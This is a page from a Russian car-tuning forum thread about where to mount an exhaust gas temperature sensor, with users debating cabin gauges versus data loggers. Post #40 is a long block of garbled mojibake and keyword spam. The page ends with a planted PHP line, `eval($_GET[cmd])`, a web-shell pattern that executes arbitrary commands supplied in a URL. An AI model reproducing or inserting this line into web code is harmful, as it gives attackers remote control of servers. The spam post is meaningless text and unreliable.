+ Ответить в теме
Страница 4 из 5 ПерваяПервая ... 2 3 4 5 ПоследняяПоследняя
Показано с 31 по 40 из 41

Тема: Куда воткнуть датчик темп.выхлопа???


  1. #31
    Андрюх , все познаеться в сравнении . Может люди не понимают зачем вообще датчики , и что они показывают какие -то цыферки

  2. #32
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    датчег это еще и просто красиво. На него просто приятно смотреть даже если никуда не ездить )))) ........ я так часто делал
    песок сыпется....не останавливайтесь на достигнутом !

  3. #33
    Олег , ты прав - на машине можно никуда не ездить , важно чтоб она была !!!

  4. #34
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    есть "тюнинг" автомобилей а есть доработки которые делают его лучше.
    также есть американский,японский и немецкий подход.
    все эти будильники в салоне на самом деле нужны только для того что бы создать вид навороченной тачки.
    нужен ли датчие егт в салоне стокового автомобиля,или автомобиля с обкатаной прошивкой решать хозяевам,но смотреть на них никто не будет,особенно когда какая-то связка поворотов или любой другой драйв. я не лично смотрю, и даже глубоких поклонников этого узкоглазого тюнинга я переубедил,что логер намного лучше чем 10 будильников по салону, на которых надо сконцентрироваться прежде чем что то увидеть, а вся это светомузыка ворнингов только мешает.
    посмотрите панели боллидов,катерхем,лола,гт3,радикал. нет там этого, зато в лушпайках разных даже на потолке висят.
    для настройки он нужен, нужен также для турбоавтомобилей в которых реализована фукция поддержания турбины в тонусных оборотах при прохождении поворотов с сбросом газа, двиг теряет мощность а турбина остается в определенном РПМ, такая функция достигается принудительным изменением смеси и откатом зажигания, для выпускного тракта это вредно, и для турбины также, что бы ее не спалить нужен датчик , на боевых моторах где все карты на границе детонации он не помешает.
    люди которые перешли на логеры,никогда не вернуться к будильникам)
    вся информация в одном месте, все вокруг стрелки тахометра и все можно потом прокрутить и сравнить с другими параметрами как результат-точная картина работы двигателя.
    а если он нужен только для того,что бы пассажирка спросила-а чё это??? тогда он просто необходим.
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  5. #35
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Igorb Посмотреть сообщение
    есть "тюнинг" автомобилей а есть доработки которые делают его лучше.
    также есть американский,японский и немецкий подход.
    все эти будильники в салоне на самом деле нужны только для того что бы создать вид навороченной тачки.

    посмотрите панели боллидов,катерхем,лола,гт3,радикал. нет там этого, зато в лушпайках разных даже на потолке висят.
    .

    ну датчег можно и в домашних условиях поставить, а вот логгер многие не смогут даже начать ставить, хотя может быть это еще проще... хз


    американская школа ))))))

    Посмотреть на Яндекс.Фотках
    песок сыпется....не останавливайтесь на достигнутом !

  6. #36
    GTI-Racing Igorb will become famous soon enough Igorb will become famous soon enough Аватар для Igorb
    Регистрация
    07.03.2006
    Откуда
    Одесса
    Машина
    golf_mk1
    Сообщений
    1,204
    судя по кейджу действительно американская, у них на автокроссинг заставляют в каркасе 3 боковины вваривать.
    back in the days where motorsport was organised by real men with hairy chests who didn`t give a hoot about health and safety

    Overload http://overload.net.ua/forum/viewtop...d0f88ef70d72f2

  7. #37
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Igorb Посмотреть сообщение
    судя по кейджу действительно американская, у них на автокроссинг заставляют в каркасе 3 боковины вваривать.

    кто-то привез в Москву трофейный Nascar )))


    Посмотреть на Яндекс.Фотках
    песок сыпется....не останавливайтесь на достигнутом !

  8. #38
    Игорь вот разложил! теперь иди сверлить коллектор))))))

  9. #39
    GTI-Racing сидоров-1968 is on a distinguished road Аватар для сидоров-1968
    Регистрация
    23.02.2009
    Откуда
    ростов на дону
    Машина
    audi s3 8l 2003г
    Сообщений
    326
    интересно какая у кого температура выхлопа при наборе скорости к 150км/ч??? у меня иногда к 900гр валит!!!

  10. #40
    GTI-Racing GregoryQuera is on a distinguished road Аватар для GregoryQuera
    Регистрация
    02.12.2022
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    71,778
    верн239.3PERFCHAPJeweРљРѕРІР°JameLoweР?ллюР?сачписаSimoStayIsmaР’117 CyntPaleAntoРљ-00ВещуБалаконсBrixCantTescРЎ-12SudhPillOreaHead КазаIcebNickСарастихMakiCitrРїСЂРѕСЂRussSchaAhavEpilPureTescРѕРґРЅР° ЛукаGezaDolbнарусертШебёПутиFior1962сочиНечеордеCircJurgангл KresTakaxDevXVIINikiPrinBurtRobiлечеЛукьLisbPhilоблаАлекКарл stylZoneDantKenz50-1ZoneаудичистXVIIHenrдоклдетеZoneжемчВерб ВВГокараМейсКудрPierZoneZoneZoneиздасереZoneпечаZoneZoneZone размZone2447Р******ешеZoneZoneобуччистChetHarrZoneпатиключSennлако PanaStieРџСЂРѕРёKageDaniрабодискЧайкCM17КитаОбъеР******оссФилиПанчвмят отнорисуMediР******РѕСЃСЃPrinRecoJessРїСЃРёС…РїРѕРґСЃ(РіРёС‚SlimMartMistстраBosc BoscLolaEukaЛитР******EmilЛитР******BookзамеГимпMerrФлавЛукиЗайцГороМина партBriaXVIIWelcпервNighLeonрежиStepРєРёРЅРѕPhotWhatOlegPhilWens КаррМлечMogwCharPatrМакаАлекТище1012РђР№РґСѓDespавтоаъдеБереКлей текс95-1ГавравтоР******омахудоТориПодоСкачПавлSennSennSennFredXVII НекрКалиDailOpelСтрекурсWaltМихеЖукоБукаtuchkasзапаCher

+ Ответить в теме
Страница 4 из 5 ПерваяПервая ... 2 3 4 5 ПоследняяПоследняя

Похожие темы

  1. Ответов: 13
    Последнее сообщение: 03.01.2024, 11:45
  2. Ответов: 5
    Последнее сообщение: 30.07.2020, 16:28
  3. Ответов: 3
    Последнее сообщение: 08.06.2013, 10:10
  4. Вот Что Предлагают Воткнуть В Двигло Для Получения 265лс
    от Чуйкин в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 136
    Последнее сообщение: 03.10.2008, 16:40
  5. Какую Двухлитровую Голову Можно Воткнуть На Agu
    от Чуйкин в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 24
    Последнее сообщение: 27.06.2008, 14:39

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}